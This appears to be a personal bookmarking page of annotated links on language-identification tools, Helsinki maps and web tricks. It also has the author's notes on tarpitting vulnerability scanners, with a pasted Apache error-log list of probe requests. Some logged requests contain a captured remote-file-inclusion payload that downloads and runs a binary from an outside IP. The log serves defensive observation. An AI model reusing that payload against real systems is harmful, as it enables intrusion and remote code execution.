On-line demo of Xerox's language identifier (commercial) 47 languages, not terribly actively maintained. I believe this was originally created by one of their Finnish researchers in XRCE Grenoble once upon a time ... I also got the impression that this one was the first to make a conscious effort at supporting different character set encodings. Fun Observation: the Danish sample Sentence uses ancient German-Style Capitalization Rules (-: ... and the Norwegian is (predictably) unlabelled, although I believe it's Bokmål. And it's incorrectly punctuated.

Spec for web server error codes

Yet another verb conjugator

More on HTTP teergrubing, including a nasty Location: loop I experimentally set up a CGI which feeds stuff from /dev/random at a glacial pace, and ScriptAlias a number of frequently requested security holes to that. Lessee what I have in the trap tomorrow ... obPeeve: The guy could learn how to spell "teergrubing". (The German word "grube" has a long "oo" sound in the middle and a short "uh" sound at the end.) See also http://de.lirio.us/rubric/entry/51442

"this wasn't a matter of hacking into her phone at all, [instead, they used] a well-known security flaw on T-Mobile's Web site, with which the phone is synchronized" (Sic, the link is to a ".htm" file. The "print friendly" link seems to be broken, otherwise I'd have linked to that as usual.)

WWW search interfaces for translators, using Google hacks -- glossary search, parallel text search, idiom search

gimp file.pnm | ppmtowinicon >favico.ico

Dutch mail-order house, clumsy search interface but may be worth it

Historical snapshots of (m)any web pages Bookmarklet (all on one line, of course): javascript:Qr='%s';Qs='%'+'s';if(Qr==Qs){Qr=prompt('Archive.org URL:',document.getSelection())};if(Qr)location.href='http://web.archive.org/archive_request_ng?url='+escape(Qr)+'&collection=web'

Jef Poskanzer's license plate generator CGI

Steal bandwidth from phishers by loading this page Not sure I like the meme, but there it is. By keeping this page open in your browser, you continually add load to (alleged) phishing sites.

Here are mine, too, top 78 from the last few weeks They get extremely boring after this point so I'm cutting off at five or more in the twenty weeks I have error logs from. Maybe you could redirect requests for these to some interesting place. Wink wink. 254 File does not exist: /var/www/xmlrpc.php 149 script not found or unable to stat: /usr/lib/cgi-bin/awstats 146 script not found or unable to stat: /usr/lib/cgi-bin/awstats.pl 142 File does not exist: /var/www/awstats/awstats.pl 132 File does not exist: /var/www/wordpress/xmlrpc.php 132 File does not exist: /var/www/phpgroupware/xmlrpc.php 132 File does not exist: /var/www/drupal/xmlrpc.php 119 File does not exist: /var/www/blog/xmlrpc.php 118 File does not exist: /var/www/blogs/xmlsrv/xmlrpc.php 116 File does not exist: /var/www/blog/xmlsrv/xmlrpc.php 115 File does not exist: /var/www/xmlsrv/xmlrpc.php 115 File does not exist: /var/www/xmlrpc/xmlrpc.php 102 File does not exist: /var/www/MSOffice/cltreq.asp 33 File does not exist: /var/www/mambo/index2.php 33 File does not exist: /var/www/index.php 33 File does not exist: /var/www/index2.php 28 client denied by server configuration: /usr/share/doc/apache-doc 26 File does not exist: /var/www/cvs/index2.php 25 File does not exist: /var/www/modules/Forums/admin/admin_styles.phpadmin_styles.php 24 File does not exist: /var/www/ers/svenska/skriv_fel.html 18 script not found or unable to stat: /usr/lib/cgi-bin/stats 18 File does not exist: /var/www/modules/Forums/admin/admin_styles.php 18 File does not exist: /var/www/modules/coppermine/themes/default/theme.php 17 File does not exist: /var/www/admin_styles.phpadmin_styles.php 16 File does not exist: /var/www/modules/coppermine/themes/default/theme.phptheme.php 16 File does not exist: /var/www/Forums/admin/admin_styles.php 15 File does not exist: /var/www/phpmyadmin/main.php 14 File does not exist: /var/www/web/phpMyAdmin/main.php 14 File does not exist: /var/www/stats/awstats.pl 14 File does not exist: /var/www/PMA/main.php 14 File does not exist: /var/www/phpmyadmin2/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3-rc1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3-pl1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.2-rc1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.0-pl1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.0/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.6/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.4/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.2.6/main.php 14 File does not exist: /var/www/phpMyAdmin-2.2.3/main.php 14 File does not exist: /var/www/mysql/main.php 14 File does not exist: /var/www/mysqladmin/main.php 14 File does not exist: /var/www/mysql-admin/main.php 14 File does not exist: /var/www/myadmin/main.php 14 File does not exist: /var/www/main.php 14 File does not exist: /var/www/db/main.php 14 File does not exist: /var/www/dbadmin/main.php 14 File does not exist: /var/www//awstats.pl 14 File does not exist: /var/www/admin/pma/main.php 14 File does not exist: /var/www/admin/phpmyadmin/main.php 14 File does not exist: /var/www/admin/mysql/main.php 14 File does not exist: /var/www/admin/main.php 13 request failed: erroneous characters after protocol string: GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 13 request failed: erroneous characters after protocol string: GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 13 File does not exist: /var/www/cvs/mambo/index2.php 12 request failed: erroneous characters after protocol string: GET /php/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 File does not exist: /var/www//cgi/stats/awstats.pl 12 File does not exist: /var/www/cgi/awstats.pl 12 File does not exist: /var/www//awstats/awstats.pl 11 File does not exist: /var/www//stats/awstats.pl 11 File does not exist: /var/www//cgi/awstats.pl 9 File does not exist: /var/www/cacti/graph_image.php 8 File does not exist: /var/www/_vti_bin/owssvr.dll 8 File does not exist: /var/www/stats/awstats/awstats.pl 8 File does not exist: /var/www/cgibin/awstats.pl 8 File does not exist: /var/www/cgibin/awstats/awstats.pl 7 File does not exist: /var/www/phpmyadmin/index.php 6 File does not exist: /var/www/stats/cgi-bin/awstats.pl 6 File does not exist: /var/www/siteinfo.xml 6 File does not exist: /var/www/Forums/admin/admin_styles.phpadmin_styles.php 6 File does not exist: /var/www/awstats.pl/awstats.pl 5 File does not exist: /var/www/robotsxx.txt 5 File does not exist: /var/www/articles/mambo/index2.php

Scans submitted files with more than a dozen different virus scanners

Reduce ghastly multi-page URLs to a short, elegant tinyURL redirector (perfect for email) TinyURL will create a short, permanent, simple URL for any URL, and keep the redirector up forever. Good-bye unwieldy multi-line URLs which can't be pasted into an email without being broken in myriad mysterious ways.

The software which de.lirio.us runs on

Gertjan van Noord's language identification tool in Perl, with a demo See also the "competitors" page for links to more similar tools.

UTF-8 language guesser, sort of TextCat-based (?) ... or so it sez on the TextCat site. It also says the code is GPL but I haven't figured out where to download it, and/or the language models. See also

Interactive map of the metropolitan Helsinki area (Swedish-language interface version) Updated 2006-02-02: They went and changed the URL. The old one I had here would now redirect to the Finnish-language interface. (Morons! Grrr) The street names are still ALL UPPERCASE to improve the USABILITY and LEGIBILITY. (Morons! Grrr)

Interim report from running a simple teergrube script over the weekend 97 requests from 17 different IP addresses during the last few days. Somebody seems to have gotten hold of a bunch of near-adjacent IP addresses so it's actually probably only 15 difrerent sources. I changed the script to pull stuff from /dev/urandom since it was just too slow otherwise, and anyway, the entropy of the random data is not exactly a concern here. Over the weekend, one particular loser pulled down 20 meg in two requests over two days. I bet I have a new fan there. (At 83.17.53.162 in case you care.) Most script kiddies (or worms?) are clever enough to pull down just the first 512 or 768 or 2304 or 8448 bytes (no prizes for guessing the significance of those numbers?) so I guess I should have a plan B for them.

Public transportation guide planner for metropolitan Helsinki (Swedish-language interface version) Peeve: in the URL, they use the country code "se", although they probably (hopefully!) mean the language code "sv".